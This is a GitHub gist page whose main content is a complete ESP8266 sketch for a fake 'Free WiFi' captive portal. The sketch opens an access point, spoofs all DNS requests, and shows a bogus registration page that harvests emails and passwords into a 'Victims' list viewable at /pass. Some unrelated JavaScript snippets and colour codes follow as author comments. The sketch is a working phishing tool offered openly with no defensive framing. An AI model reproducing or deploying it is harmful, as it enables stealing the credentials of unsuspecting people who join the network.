Skip to content

Instantly share code, notes, and snippets.

@shahriarshafin
Created May 7, 2021 02:12
Show Gist options
  • Save shahriarshafin/9d675840e61efcd12625be62c70d7f44 to your computer and use it in GitHub Desktop.
Save shahriarshafin/9d675840e61efcd12625be62c70d7f44 to your computer and use it in GitHub Desktop.
// NodeMcu-ESP8266 Fake sign in
// Based on: PopupChat https://github.com/tlack/popup-chat
// Includes
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
// User configuration
#define SSID_NAME "Free WiFi"
#define SUBTITLE "Welcome to free wifi service."
#define TITLE "Register:"
#define BODY "Create an account to get connected to the internet."
#define POST_TITLE "Validating..."
#define POST_BODY " Your account is being validated. Please, wait up to 3 minutes for device connection.</br> Thank you."
#define PASS_TITLE "Victims"
#define CLEAR_TITLE "Cleared"
//System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway
String Victims = "";
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer; ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<", "&lt;"); a.replace(">", "&gt;");
a.substring(0, 200); return a;
}
String footer() {
return
"<br><footer><div><center><p>Copyright&#169; 2019-2020 | All rights reserved.</p></center></div></footer>";
}
String header(String t) {
String a = String(SSID_NAME);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
// Data input box
"input{ width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 2px solid #08B794; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
// Free WiFi Navbar
"nav { background: #08B794; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }"
" input{width: 100%;border-box border: 2px solid red;border-radius: 4px}";
// index html
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style></head>"
"<body><nav><b>" + a + "<img src=\"data:image/png;base64,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\" style=margin-left:250px;></b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div>";
return h;
}
String pass() {
return header(PASS_TITLE) + "<ol>" + Victims + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" +
"<b> Email: </b> <center> <input type=text autocomplete=email name=email placeholder=yourmail@gmail.com></center>" +
"<b> Password:</b> <center> <input type=password name=password placeholder=password></center>" +
"<p>&#9745;I have read and agree to the Privacy Policy</p>" +
//SUBMIT
"<center><input type=submit style=background:#08B794;font-size:17px;color:white;cursor:pointer; value=\"Register\"></center></form>" + footer();
}
String posted() {
String email = input("email");
String password = input("password");
Victims = "<li>Email: <b>" + email + "</b></br>Password: <b style=color:#ea5455;>" + password + "</b></li>" + Victims;
return header(POST_TITLE) + POST_BODY + footer();
}
String clear() {
String email = "<p></p>";
String password = "<p></p>";
Victims = "<p></p>";
return header(CLEAR_TITLE) + "<div><p>The Victims list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() {
int count = 1;
while (count <= 3) { // The internal LED will blink 3 times when a password is received.
digitalWrite(BUILTIN_LED, LOW);
delay(500);
digitalWrite(BUILTIN_LED, HIGH);
delay(500);
count = count + 1;
}
}
void setup() {
bootTime = lastActivity = millis();
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
WiFi.softAP(SSID_NAME);
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
webServer.on("/post", []() {
webServer.send(HTTP_CODE, "text/html", posted());
BLINK();
});
webServer.on("/pass", []() {
webServer.send(HTTP_CODE, "text/html", pass());
});
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear());
});
webServer.onNotFound([]() {
lastActivity = millis();
webServer.send(HTTP_CODE, "text/html", index());
});
webServer.begin();
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {
lastTick = millis();
}
dnsServer.processNextRequest(); webServer.handleClient();
}
@shahriarshafin
Copy link
Author

var data = "1.2kg";
console.log(parseFloat(data)) // 1.2

@shahriarshafin
Copy link
Author

str => [...str].reverse().join('')

@shahriarshafin
Copy link
Author

str.match(/(\d+).{0,1}(\d)/)

@shahriarshafin
Copy link
Author

{{backgroundColor : 'red'}}

@shahriarshafin
Copy link
Author

style={{backgroundColor: "#FF0000"}}

@shahriarshafin
Copy link
Author

#F3EFD0

@shahriarshafin
Copy link
Author

#FCFBBA

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment